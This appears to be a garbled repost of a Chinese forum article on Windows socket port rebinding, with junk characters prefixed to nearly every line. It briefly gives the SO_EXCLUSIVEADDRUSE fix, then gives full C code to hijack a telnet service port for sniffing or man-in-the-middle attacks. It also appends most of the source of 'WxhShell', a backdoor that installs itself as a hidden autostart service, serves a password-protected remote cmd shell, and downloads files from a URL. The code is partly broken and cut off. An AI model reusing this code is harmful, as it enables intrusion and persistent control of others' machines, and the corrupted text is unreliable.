在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0( *L)s,5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Uo71C 4ev AJm$(3?/D saddr.sin_family = AF_INET;
tv26eK
38 ,J8n}7aI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^qnmKA>"F m7DKC, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
J\P6 *MB>,HU 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
g(Q1d-L4e z_N";Rn 这意味着什么?意味着可以进行如下的攻击:
aCI3Tx&2qT K{{_qFj@<y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{`Gd T;?k]4.X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xJ2I@*DN |R1T;J<[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
i[@13kr yOt#6Vw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1[T7;i$ [q_+s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
UKQ"sC a6-.|tt#t 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
r0 )ne|&Hp 9h?'zyX
B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
f:-l}Zj Zskj?+1 #include
>=|p30\b #include
;0Pv49q #include
ddyX+.LMk #include
tM^4K r~o, DWORD WINAPI ClientThread(LPVOID lpParam);
"L:4 7!8 int main()
&iVdqr1, {
2 U]d1 WORD wVersionRequested;
r34MDUZdI DWORD ret;
Id##367R WSADATA wsaData;
P/dnH BOOL val;
31@Lr[! SOCKADDR_IN saddr;
c~?Zmdn: SOCKADDR_IN scaddr;
r`.N? int err;
[IQ|c?DxpL SOCKET s;
msM1K1er SOCKET sc;
|PlNVd2 int caddsize;
Hddc-7s HANDLE mt;
kQ}n~Hn DWORD tid;
>a,D8M? wVersionRequested = MAKEWORD( 2, 2 );
c%J6!\ err = WSAStartup( wVersionRequested, &wsaData );
JD~;.3$/k if ( err != 0 ) {
,_fz)@) printf("error!WSAStartup failed!\n");
4a"Fu<q return -1;
u}gavG l }
P=5+I+ saddr.sin_family = AF_INET;
ANy*'/f GD{L$#i! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
c&!mKMrk acR|X@\3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#F.jf2h@ saddr.sin_port = htons(23);
hU8Y&R)=9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`X}:(O^GO {
0n}13u=} printf("error!socket failed!\n");
M[gL7-%w\ return -1;
yGf7k>K' }
]mb8R:a1 val = TRUE;
U8w_C\Q //SO_REUSEADDR选项就是可以实现端口重绑定的
E5d$n*A if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Z0jgUq`r {
/}(d'@8p printf("error!setsockopt failed!\n");
:Ko6.| return -1;
:q]9F4im }
^k;]"NR //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
LmePJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
AO$AT_s //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g4$(%] n%s%i-[5B if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
hlaN'j
<C {
by
X!, ret=GetLastError();
%, kP_[!>Q printf("error!bind failed!\n");
:^.wjUI return -1;
hPDKxYD]f }
~lys listen(s,2);
X,7y| tb while(1)
6!ve6ZB[p {
K Lg1(W( caddsize = sizeof(scaddr);
qk1j mr //接受连接请求
`za,sRFR sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Sw\*$g] if(sc!=INVALID_SOCKET)
$'498%K2 {
t'vt'[~,U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
0jf6 z-4 if(mt==NULL)
sQvRupYRO {
:oP LluW* printf("Thread Creat Failed!\n");
:TH cI;PG8 break;
tcuwGs>_ }
U]iI8c }
rp||#v0l!w CloseHandle(mt);
f'^uuO#x }
d,b4q&^X8 closesocket(s);
5^u$zfR WSACleanup();
?pTX4a&> return 0;
D(#f`Fj; }
$zMshLT DWORD WINAPI ClientThread(LPVOID lpParam)
mll:rWC) {
f"QiVJq SOCKET ss = (SOCKET)lpParam;
:8A+2ra& SOCKET sc;
xH-d<Ht,7 unsigned char buf[4096];
*1b|j|5v SOCKADDR_IN saddr;
9=%zd z2_S long num;
BBB@M DWORD val;
vk&
gR DWORD ret;
{LO Pm1K8Y //如果是隐藏端口应用的话,可以在此处加一些判断
r9i?H //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%lF*g saddr.sin_family = AF_INET;
E-bswUVaEE saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
QJGGce saddr.sin_port = htons(23);
"is( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)/H;5 cn {
>='/%Ad printf("error!socket failed!\n");
$YL9 vJV return -1;
g* q#VmE }
.Pc>1#z&[ val = 100;
:v&[! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8M,*w6P {
eqo0{e ret = GetLastError();
!eLj +0 return -1;
;c(a)_1 }
|*&l?S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{PHH1dC{ {
"|SMRc ret = GetLastError();
y_Y(Xx3 return -1;
?"6Zf LRi }
&L;ocd$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
BUO5g8m{ {
"O&93#8 printf("error!socket connect failed!\n");
Q`ua9oIJ= closesocket(sc);
U0~_'&Fe closesocket(ss);
?+yr7_f3* return -1;
{"y/;x/ }
_R4}\3}! while(1)
Bt+^H6cb {
$)i`!7`4= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7L{1S
v //如果是嗅探内容的话,可以再此处进行内容分析和记录
`ONjEl //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
b_0THy.Z num = recv(ss,buf,4096,0);
Xz+%Ym if(num>0)
rhJ&* 0M send(sc,buf,num,0);
e~o!Qm else if(num==0)
_gvFs%J break;
;[v!#+yml num = recv(sc,buf,4096,0);
37#&:[w> if(num>0)
_C?j\Wy send(ss,buf,num,0);
LW %AZkAx else if(num==0)
:QE5 7. break;
+\/Q }
|VBt:dd< closesocket(ss);
jjs/6sSRk closesocket(sc);
sVLvnX, return 0 ;
9BCW2@Kp }
FaL\6w 1^~&"s U j]Auun ==========================================================
o>el"0rn.h p=8Qv 下边附上一个代码,,WXhSHELL
*;7y5ZJ /sE,2X*BT ==========================================================
:cT)M(o =
tv70d' #include "stdafx.h"
4"d,=P.{ I= mz^c{ #include <stdio.h>
M&Uy42,MR #include <string.h>
w+M/VsL #include <windows.h>
{!"UBALxc #include <winsock2.h>
[BWq9uE #include <winsvc.h>
54
lD+%E #include <urlmon.h>
*FS8]!Qg `KJ(. m #pragma comment (lib, "Ws2_32.lib")
a:kAo0@":j #pragma comment (lib, "urlmon.lib")
D31X {dJ %()d$.F #define MAX_USER 100 // 最大客户端连接数
%go2tv:|W #define BUF_SOCK 200 // sock buffer
7#V7D6j1 #define KEY_BUFF 255 // 输入 buffer
MqyjTY::Xg wwUI ;g #define REBOOT 0 // 重启
*}?[tR5 #define SHUTDOWN 1 // 关机
YW}$e W* x.Sf B[SZ #define DEF_PORT 5000 // 监听端口
{15j'Qwm vgfC{]v<W] #define REG_LEN 16 // 注册表键长度
^_7|b[Bt #define SVC_LEN 80 // NT服务名长度
'\:4Ijp<" ({f}Z-% // 从dll定义API
-'rdN i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
X+hHE kJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
N5
ME_) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Ltlp9 S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
w:&""'E q6zVu( // wxhshell配置信息
7CIN!vrC|1 struct WSCFG {
xL}i9ozZ int ws_port; // 监听端口
w^yb`\$ char ws_passstr[REG_LEN]; // 口令
l45/$G7 int ws_autoins; // 安装标记, 1=yes 0=no
|;ztK[( char ws_regname[REG_LEN]; // 注册表键名
c4JV~VS+ char ws_svcname[REG_LEN]; // 服务名
j-<]OOD char ws_svcdisp[SVC_LEN]; // 服务显示名
]vrZGX
a+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
ER0
Yl char ws_passmsg[SVC_LEN]; // 密码输入提示信息
du65=w4E! int ws_downexe; // 下载执行标记, 1=yes 0=no
ClG%zE&i char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
2qMiX|Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
m%'nk"p9 "<,lqIqA; };
u4x-GObJM L2}\Ah"[ // default Wxhshell configuration
/6x&%G:m# struct WSCFG wscfg={DEF_PORT,
bJd|mm/v "xuhuanlingzhe",
*PJH&g#Ge 1,
x|H`%Z "Wxhshell",
z@*E=B1L "Wxhshell",
Kv_2=]H "WxhShell Service",
; pnF%co9 "Wrsky Windows CmdShell Service",
Fmk:[hMw "Please Input Your Password: ",
X5 vMY 1,
,jU>V]YC "
http://www.wrsky.com/wxhshell.exe",
GQ2GcX(E( "Wxhshell.exe"
+^.Yt0} };
dwO fEYC TxrW69FV7 // 消息定义模块
crmQn ^4\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
M2$/x`\-~ char *msg_ws_prompt="\n\r? for help\n\r#>";
u$ts>Q;5
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
aLk3Yg@X char *msg_ws_ext="\n\rExit.";
b<h((]Q>^ char *msg_ws_end="\n\rQuit.";
4:/]Y=)x char *msg_ws_boot="\n\rReboot...";
0'^M}&zCi char *msg_ws_poff="\n\rShutdown...";
Y}~sTuWU char *msg_ws_down="\n\rSave to ";
3Y#Q'r? `3TR`,= char *msg_ws_err="\n\rErr!";
7B?Y.B char *msg_ws_ok="\n\rOK!";
7)?C+=,0 H2X_WSwm char ExeFile[MAX_PATH];
w$]G$e int nUser = 0;
kmQ:wf: HANDLE handles[MAX_USER];
L&\W+k int OsIsNt;
T(!1\ TB r~b.tpH SERVICE_STATUS serviceStatus;
pdu1 kL SERVICE_STATUS_HANDLE hServiceStatusHandle;
.K
C*
(}- 7HkO:/ // 函数声明
d$ouH%^cGu int Install(void);
&RR;'wLoQT int Uninstall(void);
/s?%ft#-9o int DownloadFile(char *sURL, SOCKET wsh);
>6es
5}
int Boot(int flag);
>a;a8EA<O void HideProc(void);
f<o|5r int GetOsVer(void);
35h|?eN_m! int Wxhshell(SOCKET wsl);
Z+xkN void TalkWithClient(void *cs);
z)Rkd0/X int CmdShell(SOCKET sock);
> ,6 int StartFromService(void);
1[P}D~ nQ int StartWxhshell(LPSTR lpCmdLine);
d59rq<yI K1
f1T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
R
iZ)FW VOID WINAPI NTServiceHandler( DWORD fdwControl );
x{H+fq,M n:AZ(f // 数据结构和表定义
Yy~x`P'g! SERVICE_TABLE_ENTRY DispatchTable[] =
e$LC {
^ AZ#tp%) {wscfg.ws_svcname, NTServiceMain},
b8!oZ~K {NULL, NULL}
6
AO(A
* };
2;)IBvK Z$z-Hx@% // 自我安装
[* xdILj int Install(void)
7F`\Gz_2 {
Ar-Vu{` char svExeFile[MAX_PATH];
FPc`J HKEY key;
<IrhR,@M,L strcpy(svExeFile,ExeFile);
Z%~}*F}7X ^B"LT>.[ // 如果是win9x系统,修改注册表设为自启动
M$x,B#b if(!OsIsNt) {
xQR/Xp!h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
; _%zf5;' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
It*U"4lgi RegCloseKey(key);
aB%.]bi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T{prCM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:3F[!y3b RegCloseKey(key);
^EIuGz1@0 return 0;
0fc;H}B* }
xI,3(A. }
@!;A^<{ka }
PqspoH
0OI else {
oc?|" %_ew{ff| // 如果是NT以上系统,安装为系统服务
73qE!(
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
QL0q/S1* if (schSCManager!=0)
g?
vz\_ {
|=5zI6pT SC_HANDLE schService = CreateService
lz^Vi!|p (
uh\G6s!4/ schSCManager,
_DR@P(0>_ wscfg.ws_svcname,
^"Bhp:o2 wscfg.ws_svcdisp,
NSVE3 SERVICE_ALL_ACCESS,
" ILF!z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Y`gO:d8 SERVICE_AUTO_START,
$YJ 1P SERVICE_ERROR_NORMAL,
Mg >%EH/' svExeFile,
P`rfDQoZ NULL,
&D<6Go/)_* NULL,
>p&"X 2
@ NULL,
&5}YTKe}| NULL,
JCH9~n. NULL
UV(`. );
NG3?OAQTw if (schService!=0)
q,K|1+jn {
G
1{m" 1M CloseServiceHandle(schService);
&n*ga$Q CloseServiceHandle(schSCManager);
SY9 5s strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"]3o933D strcat(svExeFile,wscfg.ws_svcname);
[kJ;Uxncz~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
zE;|MU@| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
nLL2/!'n RegCloseKey(key);
.QY>@b\ return 0;
i59}6u_f }
-|x7<$Hw }
-.Wwo(4 CloseServiceHandle(schSCManager);
X$xf@|<a }
G!%m~+", }
n)N!6u @Ez>?#z return 1;
#ChTel }
2fdN@iruB H2iIBGu|L // 自我卸载
k8G4CFg}wP int Uninstall(void)
t!4 (a0\$F {
hq4&<Zr( HKEY key;
P%B|HnG^ :TVo2Zm[@ if(!OsIsNt) {
FOD'&Yb& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e"1mdw" RegDeleteValue(key,wscfg.ws_regname);
7!qeIz RegCloseKey(key);
a<*+rGI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'*[7O2\%/ RegDeleteValue(key,wscfg.ws_regname);
HFB>0<$ RegCloseKey(key);
e'~Qe_ return 0;
Uhu?G0>O }
SN|!FW.*: }
C;ab-gh }
YdV.+v(30 else {
JQLQS P|1 D6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ke@OG! M / if (schSCManager!=0)
_9-;35D_ {
zEjl@Kf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*/~|IbZ`o if (schService!=0)
Dhm;K$T {
4~Q<LEly if(DeleteService(schService)!=0) {
p7+>]sqX CloseServiceHandle(schService);
NXLb'mH~ CloseServiceHandle(schSCManager);
E 9Kp=3H return 0;
iTevl>p! }
ipG 0ie+ CloseServiceHandle(schService);
%cs"PS }
J3+qnT8X CloseServiceHandle(schSCManager);
=f@71D1 }
2cu2S"r }
ZK?V{X{"; Zk7!CJVM return 1;
;=0-B&+v }
P:J|![ } A6z%|d // 从指定url下载文件
m5/]+xdNX int DownloadFile(char *sURL, SOCKET wsh)
[4EIy" {
Cm5L99Y HRESULT hr;
DmWa!5 char seps[]= "/";
S^q^=q0F char *token;
m
Urb char *file;
"cS7E5-| char myURL[MAX_PATH];
0^L:`[W+ char myFILE[MAX_PATH];
|0^IX V6>{k_0{V strcpy(myURL,sURL);
`?^<r%*F. token=strtok(myURL,seps);
>q')%j while(token!=NULL)
fLRx{Nu {
N)jNvzm file=token;
'xEomo# token=strtok(NULL,seps);
(7_ezWSl> }
dM,{:eID E690'\)31 GetCurrentDirectory(MAX_PATH,myFILE);
I+Y Z+ strcat(myFILE, "\\");
RYl{89 strcat(myFILE, file);
cEXd#TlY~X send(wsh,myFILE,strlen(myFILE),0);
<`q-#-V@ send(wsh,"...",3,0);
w3iX "w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n\7>_ if(hr==S_OK)
Z3<lJk\Y return 0;
0LGHSDb else
X+;#^A3 return 1;
l d%#.~Q :\mdVS!o }
<}mA>c'k U_9|ED: // 系统电源模块
W`[7|8(6! int Boot(int flag)
$Q|6W &?[; {
TJcHqzcUc HANDLE hToken;
SA"4|#3>7 TOKEN_PRIVILEGES tkp;
,LOx! 6QHUBm2 if(OsIsNt) {
M"-53|#:w\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#p{8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?t;,Nk`jx tkp.PrivilegeCount = 1;
"SKv'*\b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!!6@r|. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
`^g-2~ if(flag==REBOOT) {
0p,_?3nX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
O|v8.3[cT return 0;
t }K8{
V }
pNHL &H\ else {
#VZ-gy4$\B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.i7"qq.M return 0;
;M+~e~ }
{6}$XLV3l }
(-o}'l'mo else {
1mv5B t if(flag==REBOOT) {
fTy{`}> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
pm}_\_ return 0;
1[Q~&QC }
W$}2
$}r0U else {
_Fkb$NJ"]Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
us#ji i.< return 0;
|o_
N$70 }
-Lsl }
3D,tnn+J HT_nxe`E return 1;
%~<F7qB }
mt *Dx 5M%)*.Y
3[ // win9x进程隐藏模块
REOWSs$' void HideProc(void)
h-03]M#8= {
pfMmDl5| N]I:: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Vvn~G.&) if ( hKernel != NULL )
<P5 7s+JK {
I0bkc3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~:b5UIAk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CT.hBz
-S FreeLibrary(hKernel);
o3'Za'N. }
}dq)d.c Q2gz\N return;
/p|L.&`U }
BI>r' L>`inrpz=w // 获取操作系统版本
q) e*eN int GetOsVer(void)
:dlG:=.W {
BE!WCDg, OSVERSIONINFO winfo;
=1VpO{q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
TaG(sRI GetVersionEx(&winfo);
$3Sm? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@ +>>TGC return 1;
nI`9|W else
5N#Sic M return 0;
(]"`>,ray }
vf!lhV-UG+ YQ-V^e6 // 客户端句柄模块
S2V+%Z
_J int Wxhshell(SOCKET wsl)
tY`%vI [ {
S8e ?-rC SOCKET wsh;
YB9)v5Nz( struct sockaddr_in client;
K
&G DWORD myID;
#!jwn^yq pQCW6X while(nUser<MAX_USER)
_ o6Zj1p {
ib(4Y%U6~ int nSize=sizeof(client);
7]
>z e wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P.Qz>c^-C if(wsh==INVALID_SOCKET) return 1;
)9{!=k ZGS4P 0$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Q/l388' if(handles[nUser]==0)
xf3/J{n3 closesocket(wsh);
&A&2z l %# else
kybDw{(}gc nUser++;
jrO{A3<E }
B5qlU4km& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Tu=~iQ z|m-nIM return 0;
%hA0 }
rW2 ]2mfby // 关闭 socket
dJ7 !je1N* void CloseIt(SOCKET wsh)
:D {
^}Gu'!z9D closesocket(wsh);
$mst\]&; nUser--;
X> V`) ExitThread(0);
!F)BTB7{< }
:
UDh{GQ* _3m\r*(vmQ // 客户端请求句柄
'q{d? K void TalkWithClient(void *cs)
_^NL{R/ {
`6Yk-5 6$5SS# SOCKET wsh=(SOCKET)cs;
03I*@jj char pwd[SVC_LEN];
IoxdWQ4]A char cmd[KEY_BUFF];
iRI7x)^0"z char chr[1];
0PJ7o#}_{@ int i,j;
{xQ(xy 'dd[=vzK while (nUser < MAX_USER) {
gYa
(-o n{z!L-x^b if(wscfg.ws_passstr) {
3Ebkq[/*% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4nD U-P#f //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>^adxXw.o //ZeroMemory(pwd,KEY_BUFF);
9y*pn|A[F i=0;
cG4$)q;q while(i<SVC_LEN) {
wGx*Xy1n< q4KYC!b // 设置超时
Z:<6Ck fd_set FdRead;
d6g^>}-!t struct timeval TimeOut;
WTj,9 FD_ZERO(&FdRead);
Si=u=FI1e FD_SET(wsh,&FdRead);
[_3L TimeOut.tv_sec=8;
f5vsxP)Y[ TimeOut.tv_usec=0;
x4/f5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\`|OAC0a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
B&z~}lL e-YMFJtoK} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2PEA<{u pwd
=chr[0]; pa6-3c
if(chr[0]==0xd || chr[0]==0xa) { z5IdYF?
pwd=0; c~n:xblv
break; <):= mr7
} ;
Ne|H$N
i++; Y2P%0
} l#!6
tw+e?
<iznB8@
// 如果是非法用户,关闭 socket oz?pE[[tm
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W< :7z
} 4w(#`'I>
8Rd*`]@[pk
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [UYE.$Y#(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PG'+vl
kTS#>uS
while(1) { ~cW,B}
+{H0$4y
ZeroMemory(cmd,KEY_BUFF); \WZ]'o6
>vc$3%L[$
// 自动支持客户端 telnet标准 VK]sK e
j=0; qBcwM=R3P
while(j<KEY_BUFF) { 0tp3mYd
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +jGSD@32>
cmd[j]=chr[0]; ])$Rw$`w
if(chr[0]==0xa || chr[0]==0xd) { %j2ZQ/z
cmd[j]=0; uxD$dd?
break; oC1Nfc+
} 61&A`
j++; 4Y4QR[>IU3
} n_MY69W
_Rm1-,3
// 下载文件 GGkU$qp2~
if(strstr(cmd,"http://")) { i>=!6Hu2
send(wsh,msg_ws_down,strlen(msg_ws_down),0); NT<vs"<B
if(DownloadFile(cmd,wsh)) DjveMs$d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n 8'#'^|
else
@1O.;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 45$FcK
} si`h(VD9w
else { }ujl2uhM
/}#@uC
switch(cmd[0]) { ;TTH
^Qa!{9o[
// 帮助 xHi.N*~D
case '?': { 0XUWK@)P
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KBy*QA
break; SH/^qDT'
} YuKg|<WO
// 安装 -5sKJt]+i
case 'i': { .%T.sQ
if(Install()) p1B~F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 s<uT
else Zsx\GeE%:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KkD&|&!Q7u
break; aXRf6:\%
} $I:&5 o i
// 卸载 Y>Tok|PV
case 'r': { "=3bL>\<
if(Uninstall()) %Ae43
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :|PgGhW
else |%c"Avc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WHKe\8zWq
break; ?)?}^
} #Zt(g( T
// 显示 wxhshell 所在路径 k{-#2Qz
case 'p': { QeNN*@
='i
char svExeFile[MAX_PATH]; k*uLjU
strcpy(svExeFile,"\n\r"); 6Dz N.fz
strcat(svExeFile,ExeFile); )HJ#|JpxC
send(wsh,svExeFile,strlen(svExeFile),0); u5E\wRn
break; t @vb3
} P&}J(;Lbl
// 重启 mB<*we
case 'b': { r`5svY
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I*hzlE
if(Boot(REBOOT)) r%UsUj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IT=<p60"
else { mVNHH!
closesocket(wsh); ~"}o^#@DwJ
ExitThread(0); a5nA'=|}i
} FoB^iA6e
break; gvu1
} l[u=_uaYl
// 关机 _fE$KaP
case 'd': { $,
@,(M`i}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X&s"}Hf
if(Boot(SHUTDOWN)) 6&s"
"J)3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /+ Q3JS(
else { l7vxTj@(-
closesocket(wsh); tiQeON-Q_
ExitThread(0); QP:|D_k
} 5}NTqN0@
break; ;?.w!|6
} 32x[6"T
// 获取shell hG8<@
case 's': { lNba[;_
CmdShell(wsh); bK#SxV
closesocket(wsh);
GW\66$|
ExitThread(0); J`xCd/G
break; 35/K9l5
} $~r_&1
// 退出 <tT.m[q g
case 'x': { Z+g9!@'a
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q]hl+C$d"/
CloseIt(wsh); g`r4f%O
break; w:c9Z=KX
} Z,1b$:+
// 离开 4c9a"v
case 'q': { _(:<l
YaY
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6'45c1e
closesocket(wsh); WO!'("
WSACleanup(); iph}!3f
exit(1); ?'RB'o~
break; lFZl}x
} Q%!Dk0-)
} %_%BbQf
} E(g$f.9
FL E3LH
// 提示信息 o8h`9_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NE4 }!I
} J^y?nE(j
} Ge1b_?L_
EFn[[<&><t
return; bZW dd6
} |qz&d=>
{@ Z=b5/P
// shell模块句柄 oe<DP7e
int CmdShell(SOCKET sock) a4\j.(w)$D
{ E{BX $R_8
STARTUPINFO si; YDYN#Ob(;
ZeroMemory(&si,sizeof(si)); 0)rayzv
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $Ts;o
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \wF-[']N
PROCESS_INFORMATION ProcessInfo; L30$
char cmdline[]="cmd"; $8WWN} OC
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \>[k0<
return 0; b} FhC"'i
} %ty`Oa2
7KL@[
// 自身启动模式 WS//0
int StartFromService(void) 6uIgyO*;k
{ +E-CsNAZ*"
typedef struct $:RR1.Tv
{ :}z`4S@b
DWORD ExitStatus; JFFluL=-
DWORD PebBaseAddress; >Og| *g
DWORD AffinityMask; bs0[ a 1/
DWORD BasePriority; F-Bj
